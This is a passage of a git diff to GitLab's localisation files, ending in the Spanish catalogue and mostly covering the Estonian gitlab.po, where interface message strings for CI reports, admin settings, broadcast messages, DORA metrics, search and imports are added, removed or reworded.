msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
+msgstr ""
+
+msgid "ciReport|Code Quality hasn't changed."
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr "Nuevo"
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr "No hay cambios en la calidad del código"
@@ -49142,9 +49871,6 @@ msgstr "no es"
msgid "is not a descendant of the Group owning the template"
msgstr "no es un descendiente del grupo que es propietario de la plantilla"
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr "no es un certificado X509 válido."
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr "debe ser mayor que la fecha de inicio"
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item}, y %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr "el valor de '%{storage}' debe estar entre 0 y 100"
msgid "verify ownership"
msgstr "verificar el propietario"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "versión %{versionIndex}"
diff --git a/locale/et_EE/gitlab.po b/locale/et_EE/gitlab.po
index 490bfbe18e0..e9ff75b9747 100644
--- a/locale/et_EE/gitlab.po
+++ b/locale/et_EE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: et\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
